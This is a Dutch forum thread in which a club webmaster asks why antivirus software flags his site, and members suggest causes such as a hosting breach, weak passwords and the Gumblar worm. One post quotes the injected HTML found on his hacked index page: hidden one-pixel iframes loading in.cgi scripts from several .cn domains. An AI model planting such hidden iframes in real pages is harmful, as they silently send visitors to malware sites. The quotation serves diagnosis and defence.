Ga naar inhoud


Threat name: Exploit JavaScript Obfuscation (type 628)

bensink002

Door bensink002
in Off topic

 Delen

Aanbevolen berichten

bensink002 Vaak hier

bensink002

Geplaatst:
Geplaatst:

@Allen

 

Ik heb een website gebouwd voor de fietscrossclub FCC de Marnecrossers (www.marnecrossers.nl). Als ik de website benader, dan heb ik totaal geen problemen. Ik krijg echter van enkele leden te horen, dat zij de onderstaande melding krijgen:

 

File name: wezdujur.cn/nuc/index.php en Threat name: Exploit JavaScript Obfuscation (type 628)

 

Ik maak inderdaad gebruik van Java scripts en ik snap ook dat de gebruikte virusscanner (AVG) van mening is dat er iets niet zou kloppen. Kan iemand mij misschien iets meer vertellen over deze melding? Ik heb uiteraard al op internet gezocht, maar ik heb het nog niet kunnen vinden.

 

Al vast bedankt.

Groetjes,

 

Arend.

 

Topfield 6000 PVRE - T-rex 4.6 (Predasaurus2.29)-Funke 99 / 68 - Digipower SG2100 -

Topfield 3000 CI-Pro

Link naar reactie
Delen op andere sites

Kowalski Veteraan

Kowalski

Geplaatst:
Geplaatst:

Ik heb zo'n vermoeden dat dat kan liggen aan de ingebouwde statistieken van gostats.com en dat die weer verwijst naar die vreemde Chinese site. Haal die gostats.com maar eens weg en vraag aan de leden nog eens of de melding komt.

Vu+ DUO 4K (OpenPLi), Visiosat 13.0/19.2/23.5/28.2°E

Link naar reactie
Delen op andere sites
  • 4 weken later...
Gast SatMann

Gast SatMann

Geplaatst:
Geplaatst:

wel dat is nu eens heel simpel uit te leggen.

 

er is op je hosting een attack gebeurt.

daardoor zit een verborgen IFrame op alle pagina's met de naam index.

dus index.hmtl, index.htm, index.asp, index.php

 

wat jij kan doen is je orginele pagina's terug opladen en je probleem zal opgelost zijn.

 

Je moet ook je hostingsfirma waar jij aan huurt op de hoogte brengen gezien het probleem zich in de application pool bevindt en zij dus moeten instaan voor de veiligheid.

 

het lek zou komen via de wordpress in php plugin.

 

voila, succes ermee

SatMann

Link naar reactie
Delen op andere sites
bensink002 Vaak hier

bensink002

Geplaatst:
  • Auteur
Geplaatst:

@SatMann

 

het probleem deed zich maar voor bij een van de leden. Ik heb er eigenlijk verder niemand over gehoord, dat ze de bovenstaande melding ook kregen.

 

Wat ik inderdaad wel heb gekonstateerd is dat min indexpagina enkele weken geleden ineens overhoop lag. Ik kon nog wel navigeren naar de onderliggende pagina's, maar de foto op de index was verdwenen en de lopende tekstbalk aan de rechter kant vond ik aan de linker kant terug. Ik heb dezelfde avond de originele index pagina terug gezet en daarmee was het probleem inderdaad opgelost.

 

Ik heb de "gehackte" pagina veilig gesteld en ik wil uiteraard graag weten wat men heeft willen uithalen. Een iframe kan voor zover ik weet een document bevatten. Heb jij misschien enig idee?

 

Al vast bedankt.

Groetjes,

 

Arend.

 

Topfield 6000 PVRE - T-rex 4.6 (Predasaurus2.29)-Funke 99 / 68 - Digipower SG2100 -

Topfield 3000 CI-Pro

Link naar reactie
Delen op andere sites
bensink002 Vaak hier

bensink002

Geplaatst:
  • Auteur
Geplaatst:

@SatMann

 

mijn index pagina is vanacht opnieuw gehacked. Ik heb de index pagina opnieuw veilig gesteld en ik heb het onderstaande gevonden op 24 april:

 

<BODY LEFTMARGIN="0" MARGINWIDTH="0" TOPMARGIN="0" MARGINHEIGHT="0" bgcolor="#FFFFFF" text="#000033" link="#000099" vlink="#990099" alink="#990000"><iframe src="http://litegreatestdirect.cn/in.cgi?income72" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litecarfinestsite.cn/in.cgi?income72" width=1 height=1 style="visibility: hidden"></iframe><iframe frameborder=0 border=0 height=1 width=1 src="http://habrion.cn/in.cgi?6" />

<TABLE CELLPADDING="0" CELLSPACING="0" BORDER="0" width="101%" height="100%">

<TR>

 

op 18 mei:

 

<BODY LEFTMARGIN="0" MARGINWIDTH="0" TOPMARGIN="0" MARGINHEIGHT="0" bgcolor="#FFFFFF" text="#000033" link="#000099" vlink="#990099" alink="#990000"><iframe src="http://bestwebfind.cn:8080/ts/in.cgi?pepsi11" width=2 height=4 style="visibility: hidden"></iframe>

<TABLE CELLPADDING="0" CELLSPACING="0" BORDER="0" width="101%" height="100%">

<TR>

 

Als ik dit zo lees, dan zou er in beide gevallen een cgi script gedraaid moeten worden. Kun je me hier iets meer over vertellen??

 

Al vast bedankt.

Groetjes,

 

Arend.

 

Topfield 6000 PVRE - T-rex 4.6 (Predasaurus2.29)-Funke 99 / 68 - Digipower SG2100 -

Topfield 3000 CI-Pro

Link naar reactie
Delen op andere sites
bensink002 Vaak hier

bensink002

Geplaatst:
  • Auteur
Geplaatst:

@Frank67

 

mijn wachtwoord staat nog steeds op hetzelfde als wat ik ooit van mijn provider heb gekregen (hoofdletters, kleine letters en cijfers). Dit is in ieder geval een beter wachtwoord als wat ik elders gebruik, maar je hebt in ieder geval gelijk. Ik zal het wijzigen.

Groetjes,

 

Arend.

 

Topfield 6000 PVRE - T-rex 4.6 (Predasaurus2.29)-Funke 99 / 68 - Digipower SG2100 -

Topfield 3000 CI-Pro

Link naar reactie
Delen op andere sites
Kowalski Veteraan

Kowalski

Geplaatst:
Geplaatst:

Het wijzigen van je wachtwoord is geen garantie dat er geen hacker op je website komt, maar je moet ergens beginnen he?

Onlangs dook een nieuwsbericht op dat *nix servers het doelwit zijn van hackers.

Op security.nl staat bijv. dit bericht: Honderden *nix servers besmet met Trojaans paard

Dus het kan ook best zo zijn dat je provider de zaakjes niet helemaal goed op orde heeft, en dat een hacker bij de webpagina's kan via een achterdeurtje.

Vu+ DUO 4K (OpenPLi), Visiosat 13.0/19.2/23.5/28.2°E

Link naar reactie
Delen op andere sites
bensink002 Vaak hier

bensink002

Geplaatst:
  • Auteur
Geplaatst:

@Frank67

 

Ik heb mijn wachtwoorden vanochtend gewijzigd. Ik heb verder een vraag uitstaan bij mijn provider en ik wacht dus nog even op antwoord. Ik heb zelf ook al de nodige informatie gevonden:

 

http://forums.cpanel.net/showpost.php?p=363225&postcount=26

 

Het ziet er niet fraai uit. In het ergste geval moet ik in ieder geval formatteren.

 

Bedankt voor je antwoorden.

Groetjes,

 

Arend.

 

Topfield 6000 PVRE - T-rex 4.6 (Predasaurus2.29)-Funke 99 / 68 - Digipower SG2100 -

Topfield 3000 CI-Pro

Link naar reactie
Delen op andere sites
Kowalski Veteraan

Kowalski

Geplaatst:
Geplaatst:

Staat toevallig vandaag op nu.nl:

Citaat:
AMSTERDAM - Een internetworm die onder meer zoekresultaten van Google vergiftigt, grijpt snel om zich heen.

 

Daarvoor waarschuwt onder meer de Amerikaanse digitale veiligheidsorganisatie US-CERT. De worm, die Gumblar is gedoopt, infecteert websites met kwaadaardige code. Dankzij kwetsbaarheden in Adobe Reader en Flash kunnen bezoekers van die sites besmet raken als ze webbrowser Internet Explorer gebruiken.

 

Op besmette pc's gaat Gumblar vervolgens op zoek naar inloggegevens voor zogenoemde FTP-sites, die de worm dan gebruikt om zichzelf daar verder te verspreiden. Gumblar zou zo inmiddels vele duizenden websites hebben besmet.

 

Google

 

Ook past Gumblar de resultaten van zoekmachine Google op besmette computers aan. Gebruikers worden via de vergiftigde zoekresultaten verwezen naar websites waarop meer kwaadaardige software wordt verspreid.

 

Die aanpassing vindt overigens plaats op de pc van het slachtoffer, niet bij Google zelf.

 

Adobe heeft al geruime tijd geleden updates uitgebracht voor de lekken die door Gumblar worden misbruikt. Het bedrijf roept gebruikers op de nieuwste versies van Adobe Reader en Flash te installeren.

Vu+ DUO 4K (OpenPLi), Visiosat 13.0/19.2/23.5/28.2°E

Link naar reactie
Delen op andere sites

Maak een account aan of log in om te reageren

Je moet een lid zijn om een reactie te kunnen achterlaten

Account aanmaken

Registreer voor een nieuwe account in onze community. Het is erg gemakkelijk!

Registreer een nieuwe account

Inloggen

Heb je reeds een account? Log hier in.

Nu inloggen
 Delen
Ga naar onderwerp-overzicht

  • Wie is er online   0 leden

    • Er zijn geen geregistreerde gebruikers deze pagina aan het bekijken
×
×
  • Nieuwe aanmaken...